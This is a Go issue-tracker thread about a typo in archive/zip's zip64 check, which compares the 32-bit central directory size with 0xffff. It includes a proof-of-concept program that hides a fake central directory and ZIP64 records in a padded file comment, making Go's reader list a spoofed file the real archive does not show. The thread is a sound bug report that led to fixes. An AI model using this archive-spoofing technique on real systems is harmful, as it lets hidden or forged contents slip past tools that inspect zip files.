archive/zip: potential bug with zip64 check

[kleeon]

What version of Go are you using (go version)?

$ go version
go version go1.19.2 windows/amd64

There seems to be a bug with zip64 check on this line:

go/src/archive/zip/reader.go

Line 557 in 9ddb8ea

if d.directoryRecords == 0xffff || d.directorySize == 0xffff || d.directoryOffset == 0xffffffff {

Specifically the d.directorySize == 0xffff part. Size of central directory is a 32-bit value so it should be compared to 0xffffffff.

[dr2chase]

@dsnet can you give this a look?

[dsnet]

I'll take a look next week. This week is a bit busier.

[ZekeLu]

According to section 4.4.23 of https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT:

4.4.23 size of the central directory: (4 bytes)

The size (in bytes) of the entire central directory.
If an archive is in ZIP64 format and the value in this field is 0xFFFFFFFF, the size will be in the corresponding 8 byte zip64 end of central directory field.

@kleeon is correct that it should compare with 0xFFFFFFFF.

The typo does not cause any issue because:

1. if d.directorySize happens to be 0xffff, it will incorrectly call findDirectory64End. But findDirectory64End is guarded by directory64LocSignature so this is essentially a no-op.
2. when d.directorySize is 0xffffffff, d.directoryOffset will be 0xffffffff too (more on this later). So findDirectory64End will be called anyway.

That said, the typo should be fixed anyway.

I used this code to generate a zip file that has a large size of the central directory. Both d.directorySize and d.directoryOffset are 0xffffffff. And the actual size are 0x10000D204 and 0x6DD198 respectively.

package main

import (
	"archive/zip"
	"fmt"
	"os"
	"strings"
)

func main() {
	// The file size will be 4.1G.
	archive, err := os.Create("z.zip")
	if err != nil {
		panic(err)
	}
	defer archive.Close()
	zipWriter := zip.NewWriter(archive)
	defer zipWriter.Close()

	comment := strings.Repeat("1", 64<<10-1)
	for i := 0; i < 65428; i++ {
		name := fmt.Sprintf("%060x.txt", i)
		h := &zip.FileHeader{
			Name:    name,
			Comment: comment,
		}
		_, err := zipWriter.CreateHeader(h)
		if err != nil {
			panic(err)
		}
	}
}

[kleeon]

@ZekeLu I decided to take another look at this issue.

if d.directorySize happens to be 0xffff, it will incorrectly call findDirectory64End. But findDirectory64End is guarded by directory64LocSignature so this is essentially a no-op.

You could actually do some weird stuff by putting a spurious EOCD64 and EOCD64 locator into the comment of the last file, then using the same comment to pad Central Directory size to 0xFFFF bytes. Like so:

package main

import (
	"archive/zip"
	"fmt"
	"os"
	"strings"
)

func createFile() {
	file, _ := os.Create("arch.zip")
	defer file.Close()

	arch := zip.NewWriter(file)
	defer arch.Close()

	name := "real_file.txt"
	arch.CreateHeader(&zip.FileHeader{
		Name: name,
	})

	zip64Locator := "\x50\x4B\x06\x07" + // signature
		"\x00\x00\x00\x00" + // disk number
		"\x2C\x00\x01\x00\x00\x00\x00\x00" + // EOCD64 location
		"\x01\x00\x00\x00" // number of disks

	zip64Eocd := "\x50\x4B\x06\x06" + // signature
		"\x00\x00\x00\x00\x00\x00\x00\x00" + // size of eocd64, ignored
		"\x00\x00\x00\x00" + // version info
		"\x00\x00\x00\x00" + // disk number
		"\x00\x00\x00\x00" + // central directory start disk number
		"\x01\x00\x00\x00\x00\x00\x00\x00" + // number of CD records on this disk
		"\x01\x00\x00\x00\x00\x00\x00\x00" + // number of CD records
		"\x3B\x00\x00\x00\x00\x00\x00\x00" + // size of CD
		"\xF1\xFF\x00\x00\x00\x00\x00\x00" // offset to fake CD

	fakeFileCDRecord := "\x50\x4b\x01\x02" +
		"\x00\x00\x00\x00" + // version info
		"\x00\x00" + // flags
		"\x00\x00" + // compression method, no compression
		"\x00\x00\x00\x00" + // modification time and date
		"\x00\x00\x00\x00" + // crc-32
		"\x00\x00\x00\x00" + // compressed size, empty file
		"\x00\x00\x00\x00" + // uncompressed size
		"\x0D\x00" + // file name length
		"\x00\x00" + // extra field length
		"\x00\x00" + // comment length
		"\x00\x00" + // disk number
		"\x00\x00\x00\x00\x00\x00" + // file attributes
		"\x00\x00\x00\x00" + // local file header offset, empty file so don't care
		"fake_file.txt"

	padding := strings.Repeat("\x00", 65279)

	arch.CreateHeader(&zip.FileHeader{
		Name:    "payload_file.txt",
		Comment: padding + fakeFileCDRecord + zip64Eocd + zip64Locator,
	})
}

func readFile() {
	file, _ := os.Open("arch.zip")

	stat, _ := file.Stat()

	arch, err := zip.NewReader(file, stat.Size())
	if err != nil {
		panic(err)
	}

	fmt.Println("Files in archive:")
	for _, f := range arch.File {
		fmt.Println(f.Name)
	}
}

func main() {
	createFile()
	readFile()
}

In this example I put a fake file into the comment of payload_file.txt, which tricks Go into reading it instead of real files:

λ go run .
Files in archive:
fake_file.txt

While opening this same archive with WinRAR looks like this:

Probably not a huge security concern, but definitely should be fixed.

@dsnet

[gopherbot]

Change https://go.dev/cl/725161 mentions this issue: archive/zip: fix Zip64 edge cases

[gopherbot]

Change https://go.dev/cl/779180 mentions this issue: archive/zip: fix reader-side Zip64 edge cases